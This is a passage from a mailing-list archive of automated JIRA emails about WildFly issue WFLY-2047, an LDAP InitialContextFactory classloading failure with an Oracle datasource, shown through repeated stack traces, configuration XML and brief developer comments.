> 	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:908) [rt.jar:1.6.0_21]
> 	at java.lang.Thread.run(Thread.java:619) [rt.jar:1.6.0_21]
> 	at org.jboss.threads.JBossThread.run(JBossThread.java:122) [jboss-threads-2.1.0.Final.jar:2.1.0.Final]
> Caused by: java.sql.SQLRecoverableException: Io exception: JNDI Package failurejavax.naming.NamingException: JBAS011843: Failed instantiate InitialContextFactory com.sun.jndi.ldap.LdapCtxFactory from classloader ModuleClassLoader for Module "org.jboss.as.connector:main" from local module loader @571a75a2 (finder: local module finder @a210b5b (roots: /home/jsensharma/NotBackedUp/SVN_16_Jan/EAP6_Main/build_wildfly/jboss-as-7.3.0.Final-redhat-X-SNAPSHOT/modules,/home/jsensharma/NotBackedUp/SVN_16_Jan/EAP6_Main/build_wildfly/jboss-as-7.3.0.Final-redhat-X-SNAPSHOT/modules/system/layers/base))
> 	at oracle.jdbc.driver.SQLStateMapping.newSQLException(SQLStateMapping.java:101)
> 	at oracle.jdbc.driver.DatabaseError.newSQLException(DatabaseError.java:112)
> 	at oracle.jdbc.driver.DatabaseError.throwSqlException(DatabaseError.java:173)
> 	at oracle.jdbc.driver.DatabaseError.throwSqlException(DatabaseError.java:229)
> 	at oracle.jdbc.driver.DatabaseError.throwSqlException(DatabaseError.java:458)
> 	at oracle.jdbc.driver.T4CConnection.logon(T4CConnection.java:411)
> 	at oracle.jdbc.driver.PhysicalConnection.<init>(PhysicalConnection.java:490)
> 	at oracle.jdbc.driver.T4CConnection.<init>(T4CConnection.java:202)
> 	at oracle.jdbc.driver.T4CDriverExtension.getConnection(T4CDriverExtension.java:33)
> 	at oracle.jdbc.driver.OracleDriver.connect(OracleDriver.java:474)
> 	at org.jboss.jca.adapters.jdbc.local.LocalManagedConnectionFactory.getLocalManagedConnection(LocalManagedConnectionFactory.java:254) [ironjacamar-jdbc-1.0.17.Final.jar:1.0.17.Final]
> ++++++++++++++++++++++

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 12 10:15:04 2013
From: jira-events at lists.jboss.org (Jesper Pedersen (JIRA))
Date: Thu, 12 Sep 2013 10:15:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2047) org.jboss.as.connector module
 needs sun.jdk module dependency
In-Reply-To: <JIRA.12500491.1378898552000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500491.1378898552000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500491.1378898552000.23825.1378995304533@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2047?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Jesper Pedersen closed WFLY-2047.
---------------------------------

    Resolution: Rejected


See [~dlofthouse] 's comment - it is the Oracle module that needs the dependency if ldap is used in the url
                
> org.jboss.as.connector module needs sun.jdk module dependency
> -------------------------------------------------------------
>
>                 Key: WFLY-2047
>                 URL: https://issues.jboss.org/browse/WFLY-2047
>             Project: WildFly
>          Issue Type: Bug
>          Components: JCA
>    Affects Versions: 8.0.0.Alpha4
>         Environment: All 
>            Reporter: Jay Kumar SenSharma
>            Assignee: Jesper Pedersen
>
> If a DataSource is created as following:
> ++++++++++++++++
> 	<datasource jndi-name="java:jboss/datasources/test_pool" pool-name="test_pool" enabled="true" use-java-context="true">
>                <connection-url>jdbc:oracle:thin:@ldap://example.com:3060/test,cn=OracleA,dc=worldA</connection-url>
>                <driver>oracle</driver>
>                <pool>
>                      <min-pool-size>1</min-pool-size>
>                      <max-pool-size>15</max-pool-size>
>                </pool>
>                <security>
>                    <user-name>Test</user-name>
>                    <password>testPassword</password>
>               </security>
>        </datasource>
>        <drivers>
>              <driver name="oracle" module="com.oracle.jdbc6">
>                <driver-class>oracle.jdbc.driver.OracleDriver</driver-class>
>              </driver>
>              <driver name="h2" module="com.h2database.h2">
>                <xa-datasource-class>org.h2.jdbcx.JdbcDataSource</xa-datasource-class>
>              </driver>
>        </drivers>
> ++++++++++++++++
> Then while testing the DataSource the Wildfly throws the following Exception:
> +++++++++++++++++++++
> 16:47:10,498 WARN  [org.jboss.jca.core.connectionmanager.pool.strategy.OnePool] (management-handler-thread - 3) IJ000604: Throwable while attempting to get a new connection: null: javax.resource.ResourceException: Could not create connection
> 	at org.jboss.jca.adapters.jdbc.local.LocalManagedConnectionFactory.getLocalManagedConnection(LocalManagedConnectionFactory.java:282) [ironjacamar-jdbc-1.0.17.Final.jar:1.0.17.Final]
> 	at org.jboss.jca.adapters.jdbc.local.LocalManagedConnectionFactory.createManagedConnection(LocalManagedConnectionFactory.java:240) [ironjacamar-jdbc-1.0.17.Final.jar:1.0.17.Final]
> 	at org.jboss.jca.core.connectionmanager.pool.mcp.SemaphoreArrayListManagedConnectionPool.createConnectionEventListener(SemaphoreArrayListManagedConnectionPool.java:781) [ironjacamar-core-impl-1.0.17.Final.jar:1.0.17.Final]
> 	at org.jboss.jca.core.connectionmanager.pool.mcp.SemaphoreArrayListManagedConnectionPool.getConnection(SemaphoreArrayListManagedConnectionPool.java:344) [ironjacamar-core-impl-1.0.17.Final.jar:1.0.17.Final]
> 	at org.jboss.jca.core.connectionmanager.pool.AbstractPool.getSimpleConnection(AbstractPool.java:397) [ironjacamar-core-impl-1.0.17.Final.jar:1.0.17.Final]
> 	at org.jboss.jca.core.connectionmanager.pool.AbstractPool.getConnection(AbstractPool.java:365) [ironjacamar-core-impl-1.0.17.Final.jar:1.0.17.Final]
> 	at org.jboss.jca.core.connectionmanager.pool.AbstractPool.internalTestConnection(AbstractPool.java:627) [ironjacamar-core-impl-1.0.17.Final.jar:1.0.17.Final]
> 	at org.jboss.jca.core.connectionmanager.pool.strategy.OnePool.testConnection(OnePool.java:89) [ironjacamar-core-impl-1.0.17.Final.jar:1.0.17.Final]
> 	at org.jboss.as.connector.subsystems.common.pool.PoolOperations$TestConnectionInPool.invokeCommandOn(PoolOperations.java:143) [jboss-as-connector-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.connector.subsystems.common.pool.PoolOperations$1.execute(PoolOperations.java:82) [jboss-as-connector-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.controller.AbstractOperationContext.executeStep(AbstractOperationContext.java:440) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.controller.AbstractOperationContext.doCompleteStep(AbstractOperationContext.java:322) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.controller.AbstractOperationContext.completeStepInternal(AbstractOperationContext.java:229) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.controller.AbstractOperationContext.executeOperation(AbstractOperationContext.java:224) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.controller.ModelControllerImpl.internalExecute(ModelControllerImpl.java:194) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.controller.ModelControllerImpl.execute(ModelControllerImpl.java:115) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.controller.remote.ModelControllerClientOperationHandler$ExecuteRequestHandler.doExecute(ModelControllerClientOperationHandler.java:139) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.controller.remote.ModelControllerClientOperationHandler$ExecuteRequestHandler$1.execute(ModelControllerClientOperationHandler.java:108) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.protocol.mgmt.AbstractMessageHandler$2$1.doExecute(AbstractMessageHandler.java:296)
> 	at org.jboss.as.protocol.mgmt.AbstractMessageHandler$AsyncTaskRunner.run(AbstractMessageHandler.java:518)
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.runTask(ThreadPoolExecutor.java:886) [rt.jar:1.6.0_21]
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:908) [rt.jar:1.6.0_21]
> 	at java.lang.Thread.run(Thread.java:619) [rt.jar:1.6.0_21]
> 	at org.jboss.threads.JBossThread.run(JBossThread.java:122) [jboss-threads-2.1.0.Final.jar:2.1.0.Final]
> Caused by: java.sql.SQLRecoverableException: Io exception: JNDI Package failurejavax.naming.NamingException: JBAS011843: Failed instantiate InitialContextFactory com.sun.jndi.ldap.LdapCtxFactory from classloader ModuleClassLoader for Module "org.jboss.as.connector:main" from local module loader @571a75a2 (finder: local module finder @a210b5b (roots: /home/jsensharma/NotBackedUp/SVN_16_Jan/EAP6_Main/build_wildfly/jboss-as-7.3.0.Final-redhat-X-SNAPSHOT/modules,/home/jsensharma/NotBackedUp/SVN_16_Jan/EAP6_Main/build_wildfly/jboss-as-7.3.0.Final-redhat-X-SNAPSHOT/modules/system/layers/base))
> 	at oracle.jdbc.driver.SQLStateMapping.newSQLException(SQLStateMapping.java:101)
> 	at oracle.jdbc.driver.DatabaseError.newSQLException(DatabaseError.java:112)
> 	at oracle.jdbc.driver.DatabaseError.throwSqlException(DatabaseError.java:173)
> 	at oracle.jdbc.driver.DatabaseError.throwSqlException(DatabaseError.java:229)
> 	at oracle.jdbc.driver.DatabaseError.throwSqlException(DatabaseError.java:458)
> 	at oracle.jdbc.driver.T4CConnection.logon(T4CConnection.java:411)
> 	at oracle.jdbc.driver.PhysicalConnection.<init>(PhysicalConnection.java:490)
> 	at oracle.jdbc.driver.T4CConnection.<init>(T4CConnection.java:202)
> 	at oracle.jdbc.driver.T4CDriverExtension.getConnection(T4CDriverExtension.java:33)
> 	at oracle.jdbc.driver.OracleDriver.connect(OracleDriver.java:474)
> 	at org.jboss.jca.adapters.jdbc.local.LocalManagedConnectionFactory.getLocalManagedConnection(LocalManagedConnectionFactory.java:254) [ironjacamar-jdbc-1.0.17.Final.jar:1.0.17.Final]
> ++++++++++++++++++++++

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 12 10:24:03 2013
From: jira-events at lists.jboss.org (Jay Kumar SenSharma (JIRA))
Date: Thu, 12 Sep 2013 10:24:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2047) org.jboss.as.connector module
 needs sun.jdk module dependency
In-Reply-To: <JIRA.12500491.1378898552000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500491.1378898552000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500491.1378898552000.23837.1378995843617@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2047?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12803912#comment-12803912 ] 

Jay Kumar SenSharma commented on WFLY-2047:
-------------------------------------------

Oracle Module has the following dependency still the same issue occurs.

                
> org.jboss.as.connector module needs sun.jdk module dependency
> -------------------------------------------------------------
>
>                 Key: WFLY-2047
>                 URL: https://issues.jboss.org/browse/WFLY-2047
>             Project: WildFly
>          Issue Type: Bug
>          Components: JCA
>    Affects Versions: 8.0.0.Alpha4
>         Environment: All 
>            Reporter: Jay Kumar SenSharma
>            Assignee: Jesper Pedersen
>
> If a DataSource is created as following:
> ++++++++++++++++
> 	<datasource jndi-name="java:jboss/datasources/test_pool" pool-name="test_pool" enabled="true" use-java-context="true">
>                <connection-url>jdbc:oracle:thin:@ldap://example.com:3060/test,cn=OracleA,dc=worldA</connection-url>
>                <driver>oracle</driver>
>                <pool>
>                      <min-pool-size>1</min-pool-size>
>                      <max-pool-size>15</max-pool-size>
>                </pool>
>                <security>
>                    <user-name>Test</user-name>
>                    <password>testPassword</password>
>               </security>
>        </datasource>
>        <drivers>
>              <driver name="oracle" module="com.oracle.jdbc6">
>                <driver-class>oracle.jdbc.driver.OracleDriver</driver-class>
>              </driver>
>              <driver name="h2" module="com.h2database.h2">
>                <xa-datasource-class>org.h2.jdbcx.JdbcDataSource</xa-datasource-class>
>              </driver>
>        </drivers>
> ++++++++++++++++
> Then while testing the DataSource the Wildfly throws the following Exception:
> +++++++++++++++++++++
> 16:47:10,498 WARN  [org.jboss.jca.core.connectionmanager.pool.strategy.OnePool] (management-handler-thread - 3) IJ000604: Throwable while attempting to get a new connection: null: javax.resource.ResourceException: Could not create connection
> 	at org.jboss.jca.adapters.jdbc.local.LocalManagedConnectionFactory.getLocalManagedConnection(LocalManagedConnectionFactory.java:282) [ironjacamar-jdbc-1.0.17.Final.jar:1.0.17.Final]
> 	at org.jboss.jca.adapters.jdbc.local.LocalManagedConnectionFactory.createManagedConnection(LocalManagedConnectionFactory.java:240) [ironjacamar-jdbc-1.0.17.Final.jar:1.0.17.Final]
> 	at org.jboss.jca.core.connectionmanager.pool.mcp.SemaphoreArrayListManagedConnectionPool.createConnectionEventListener(SemaphoreArrayListManagedConnectionPool.java:781) [ironjacamar-core-impl-1.0.17.Final.jar:1.0.17.Final]
> 	at org.jboss.jca.core.connectionmanager.pool.mcp.SemaphoreArrayListManagedConnectionPool.getConnection(SemaphoreArrayListManagedConnectionPool.java:344) [ironjacamar-core-impl-1.0.17.Final.jar:1.0.17.Final]
> 	at org.jboss.jca.core.connectionmanager.pool.AbstractPool.getSimpleConnection(AbstractPool.java:397) [ironjacamar-core-impl-1.0.17.Final.jar:1.0.17.Final]
> 	at org.jboss.jca.core.connectionmanager.pool.AbstractPool.getConnection(AbstractPool.java:365) [ironjacamar-core-impl-1.0.17.Final.jar:1.0.17.Final]
> 	at org.jboss.jca.core.connectionmanager.pool.AbstractPool.internalTestConnection(AbstractPool.java:627) [ironjacamar-core-impl-1.0.17.Final.jar:1.0.17.Final]
> 	at org.jboss.jca.core.connectionmanager.pool.strategy.OnePool.testConnection(OnePool.java:89) [ironjacamar-core-impl-1.0.17.Final.jar:1.0.17.Final]
> 	at org.jboss.as.connector.subsystems.common.pool.PoolOperations$TestConnectionInPool.invokeCommandOn(PoolOperations.java:143) [jboss-as-connector-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.connector.subsystems.common.pool.PoolOperations$1.execute(PoolOperations.java:82) [jboss-as-connector-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.controller.AbstractOperationContext.executeStep(AbstractOperationContext.java:440) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.controller.AbstractOperationContext.doCompleteStep(AbstractOperationContext.java:322) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.controller.AbstractOperationContext.completeStepInternal(AbstractOperationContext.java:229) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.controller.AbstractOperationContext.executeOperation(AbstractOperationContext.java:224) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.controller.ModelControllerImpl.internalExecute(ModelControllerImpl.java:194) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.controller.ModelControllerImpl.execute(ModelControllerImpl.java:115) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.controller.remote.ModelControllerClientOperationHandler$ExecuteRequestHandler.doExecute(ModelControllerClientOperationHandler.java:139) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.controller.remote.ModelControllerClientOperationHandler$ExecuteRequestHandler$1.execute(ModelControllerClientOperationHandler.java:108) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.protocol.mgmt.AbstractMessageHandler$2$1.doExecute(AbstractMessageHandler.java:296)
> 	at org.jboss.as.protocol.mgmt.AbstractMessageHandler$AsyncTaskRunner.run(AbstractMessageHandler.java:518)
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.runTask(ThreadPoolExecutor.java:886) [rt.jar:1.6.0_21]
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:908) [rt.jar:1.6.0_21]
> 	at java.lang.Thread.run(Thread.java:619) [rt.jar:1.6.0_21]
> 	at org.jboss.threads.JBossThread.run(JBossThread.java:122) [jboss-threads-2.1.0.Final.jar:2.1.0.Final]
> Caused by: java.sql.SQLRecoverableException: Io exception: JNDI Package failurejavax.naming.NamingException: JBAS011843: Failed instantiate InitialContextFactory com.sun.jndi.ldap.LdapCtxFactory from classloader ModuleClassLoader for Module "org.jboss.as.connector:main" from local module loader @571a75a2 (finder: local module finder @a210b5b (roots: /home/jsensharma/NotBackedUp/SVN_16_Jan/EAP6_Main/build_wildfly/jboss-as-7.3.0.Final-redhat-X-SNAPSHOT/modules,/home/jsensharma/NotBackedUp/SVN_16_Jan/EAP6_Main/build_wildfly/jboss-as-7.3.0.Final-redhat-X-SNAPSHOT/modules/system/layers/base))
> 	at oracle.jdbc.driver.SQLStateMapping.newSQLException(SQLStateMapping.java:101)
> 	at oracle.jdbc.driver.DatabaseError.newSQLException(DatabaseError.java:112)
> 	at oracle.jdbc.driver.DatabaseError.throwSqlException(DatabaseError.java:173)
> 	at oracle.jdbc.driver.DatabaseError.throwSqlException(DatabaseError.java:229)
> 	at oracle.jdbc.driver.DatabaseError.throwSqlException(DatabaseError.java:458)
> 	at oracle.jdbc.driver.T4CConnection.logon(T4CConnection.java:411)
> 	at oracle.jdbc.driver.PhysicalConnection.<init>(PhysicalConnection.java:490)
> 	at oracle.jdbc.driver.T4CConnection.<init>(T4CConnection.java:202)
> 	at oracle.jdbc.driver.T4CDriverExtension.getConnection(T4CDriverExtension.java:33)
> 	at oracle.jdbc.driver.OracleDriver.connect(OracleDriver.java:474)
> 	at org.jboss.jca.adapters.jdbc.local.LocalManagedConnectionFactory.getLocalManagedConnection(LocalManagedConnectionFactory.java:254) [ironjacamar-jdbc-1.0.17.Final.jar:1.0.17.Final]
> ++++++++++++++++++++++

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 12 10:24:03 2013
From: jira-events at lists.jboss.org (Jay Kumar SenSharma (JIRA))
Date: Thu, 12 Sep 2013 10:24:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2047) org.jboss.as.connector module
 needs sun.jdk module dependency
In-Reply-To: <JIRA.12500491.1378898552000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500491.1378898552000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500491.1378898552000.23842.1378995843876@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2047?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12803913#comment-12803913 ] 

Jay Kumar SenSharma commented on WFLY-2047:
-------------------------------------------

Oracle Module has the following dependency still the same issue occurs.

                
> org.jboss.as.connector module needs sun.jdk module dependency
> -------------------------------------------------------------
>
>                 Key: WFLY-2047
>                 URL: https://issues.jboss.org/browse/WFLY-2047
>             Project: WildFly
>          Issue Type: Bug
>          Components: JCA
>    Affects Versions: 8.0.0.Alpha4
>         Environment: All 
>            Reporter: Jay Kumar SenSharma
>            Assignee: Jesper Pedersen
>
> If a DataSource is created as following:
> ++++++++++++++++
> 	<datasource jndi-name="java:jboss/datasources/test_pool" pool-name="test_pool" enabled="true" use-java-context="true">
>                <connection-url>jdbc:oracle:thin:@ldap://example.com:3060/test,cn=OracleA,dc=worldA</connection-url>
>                <driver>oracle</driver>
>                <pool>
>                      <min-pool-size>1</min-pool-size>
>                      <max-pool-size>15</max-pool-size>
>                </pool>
>                <security>
>                    <user-name>Test</user-name>
>                    <password>testPassword</password>
>               </security>
>        </datasource>
>        <drivers>
>              <driver name="oracle" module="com.oracle.jdbc6">
>                <driver-class>oracle.jdbc.driver.OracleDriver</driver-class>
>              </driver>
>              <driver name="h2" module="com.h2database.h2">
>                <xa-datasource-class>org.h2.jdbcx.JdbcDataSource</xa-datasource-class>
>              </driver>
>        </drivers>
> ++++++++++++++++
> Then while testing the DataSource the Wildfly throws the following Exception:
> +++++++++++++++++++++
> 16:47:10,498 WARN  [org.jboss.jca.core.connectionmanager.pool.strategy.OnePool] (management-handler-thread - 3) IJ000604: Throwable while attempting to get a new connection: null: javax.resource.ResourceException: Could not create connection
> 	at org.jboss.jca.adapters.jdbc.local.LocalManagedConnectionFactory.getLocalManagedConnection(LocalManagedConnectionFactory.java:282) [ironjacamar-jdbc-1.0.17.Final.jar:1.0.17.Final]
> 	at org.jboss.jca.adapters.jdbc.local.LocalManagedConnectionFactory.createManagedConnection(LocalManagedConnectionFactory.java:240) [ironjacamar-jdbc-1.0.17.Final.jar:1.0.17.Final]
> 	at org.jboss.jca.core.connectionmanager.pool.mcp.SemaphoreArrayListManagedConnectionPool.createConnectionEventListener(SemaphoreArrayListManagedConnectionPool.java:781) [ironjacamar-core-impl-1.0.17.Final.jar:1.0.17.Final]
> 	at org.jboss.jca.core.connectionmanager.pool.mcp.SemaphoreArrayListManagedConnectionPool.getConnection(SemaphoreArrayListManagedConnectionPool.java:344) [ironjacamar-core-impl-1.0.17.Final.jar:1.0.17.Final]
> 	at org.jboss.jca.core.connectionmanager.pool.AbstractPool.getSimpleConnection(AbstractPool.java:397) [ironjacamar-core-impl-1.0.17.Final.jar:1.0.17.Final]
> 	at org.jboss.jca.core.connectionmanager.pool.AbstractPool.getConnection(AbstractPool.java:365) [ironjacamar-core-impl-1.0.17.Final.jar:1.0.17.Final]
> 	at org.jboss.jca.core.connectionmanager.pool.AbstractPool.internalTestConnection(AbstractPool.java:627) [ironjacamar-core-impl-1.0.17.Final.jar:1.0.17.Final]
> 	at org.jboss.jca.core.connectionmanager.pool.strategy.OnePool.testConnection(OnePool.java:89) [ironjacamar-core-impl-1.0.17.Final.jar:1.0.17.Final]
> 	at org.jboss.as.connector.subsystems.common.pool.PoolOperations$TestConnectionInPool.invokeCommandOn(PoolOperations.java:143) [jboss-as-connector-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.connector.subsystems.common.pool.PoolOperations$1.execute(PoolOperations.java:82) [jboss-as-connector-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.controller.AbstractOperationContext.executeStep(AbstractOperationContext.java:440) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.controller.AbstractOperationContext.doCompleteStep(AbstractOperationContext.java:322) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.controller.AbstractOperationContext.completeStepInternal(AbstractOperationContext.java:229) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.controller.AbstractOperationContext.executeOperation(AbstractOperationContext.java:224) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.controller.ModelControllerImpl.internalExecute(ModelControllerImpl.java:194) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.controller.ModelControllerImpl.execute(ModelControllerImpl.java:115) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.controller.remote.ModelControllerClientOperationHandler$ExecuteRequestHandler.doExecute(ModelControllerClientOperationHandler.java:139) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.controller.remote.ModelControllerClientOperationHandler$ExecuteRequestHandler$1.execute(ModelControllerClientOperationHandler.java:108) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.protocol.mgmt.AbstractMessageHandler$2$1.doExecute(AbstractMessageHandler.java:296)
> 	at org.jboss.as.protocol.mgmt.AbstractMessageHandler$AsyncTaskRunner.run(AbstractMessageHandler.java:518)
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.runTask(ThreadPoolExecutor.java:886) [rt.jar:1.6.0_21]
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:908) [rt.jar:1.6.0_21]
> 	at java.lang.Thread.run(Thread.java:619) [rt.jar:1.6.0_21]
> 	at org.jboss.threads.JBossThread.run(JBossThread.java:122) [jboss-threads-2.1.0.Final.jar:2.1.0.Final]
> Caused by: java.sql.SQLRecoverableException: Io exception: JNDI Package failurejavax.naming.NamingException: JBAS011843: Failed instantiate InitialContextFactory com.sun.jndi.ldap.LdapCtxFactory from classloader ModuleClassLoader for Module "org.jboss.as.connector:main" from local module loader @571a75a2 (finder: local module finder @a210b5b (roots: /home/jsensharma/NotBackedUp/SVN_16_Jan/EAP6_Main/build_wildfly/jboss-as-7.3.0.Final-redhat-X-SNAPSHOT/modules,/home/jsensharma/NotBackedUp/SVN_16_Jan/EAP6_Main/build_wildfly/jboss-as-7.3.0.Final-redhat-X-SNAPSHOT/modules/system/layers/base))
> 	at oracle.jdbc.driver.SQLStateMapping.newSQLException(SQLStateMapping.java:101)
> 	at oracle.jdbc.driver.DatabaseError.newSQLException(DatabaseError.java:112)
> 	at oracle.jdbc.driver.DatabaseError.throwSqlException(DatabaseError.java:173)
> 	at oracle.jdbc.driver.DatabaseError.throwSqlException(DatabaseError.java:229)
> 	at oracle.jdbc.driver.DatabaseError.throwSqlException(DatabaseError.java:458)
> 	at oracle.jdbc.driver.T4CConnection.logon(T4CConnection.java:411)
> 	at oracle.jdbc.driver.PhysicalConnection.<init>(PhysicalConnection.java:490)
> 	at oracle.jdbc.driver.T4CConnection.<init>(T4CConnection.java:202)
> 	at oracle.jdbc.driver.T4CDriverExtension.getConnection(T4CDriverExtension.java:33)
> 	at oracle.jdbc.driver.OracleDriver.connect(OracleDriver.java:474)
> 	at org.jboss.jca.adapters.jdbc.local.LocalManagedConnectionFactory.getLocalManagedConnection(LocalManagedConnectionFactory.java:254) [ironjacamar-jdbc-1.0.17.Final.jar:1.0.17.Final]
> ++++++++++++++++++++++

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 12 10:24:04 2013
From: jira-events at lists.jboss.org (Jay Kumar SenSharma (JIRA))
Date: Thu, 12 Sep 2013 10:24:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2047) org.jboss.as.connector module
 needs sun.jdk module dependency
In-Reply-To: <JIRA.12500491.1378898552000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500491.1378898552000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500491.1378898552000.23847.1378995844140@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2047?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12803914#comment-12803914 ] 

Jay Kumar SenSharma commented on WFLY-2047:
-------------------------------------------

<?xml version="1.0" ?>
<module xmlns="urn:jboss:module:1.1" name="com.oracle.jdbc6">
    <resources>
        <resource-root path="ojdbc6.jar"/>
    </resources>
        <dependencies>
                <module name="javax.api"/>
                <module name="sun.jdk"/>
        </dependencies>
</module>
                
> org.jboss.as.connector module needs sun.jdk module dependency
> -------------------------------------------------------------
>
>                 Key: WFLY-2047
>                 URL: https://issues.jboss.org/browse/WFLY-2047
>             Project: WildFly
>          Issue Type: Bug
>          Components: JCA
>    Affects Versions: 8.0.0.Alpha4
>         Environment: All 
>            Reporter: Jay Kumar SenSharma
>            Assignee: Jesper Pedersen
>
> If a DataSource is created as following:
> ++++++++++++++++
> 	<datasource jndi-name="java:jboss/datasources/test_pool" pool-name="test_pool" enabled="true" use-java-context="true">
>                <connection-url>jdbc:oracle:thin:@ldap://example.com:3060/test,cn=OracleA,dc=worldA</connection-url>
>                <driver>oracle</driver>
>                <pool>
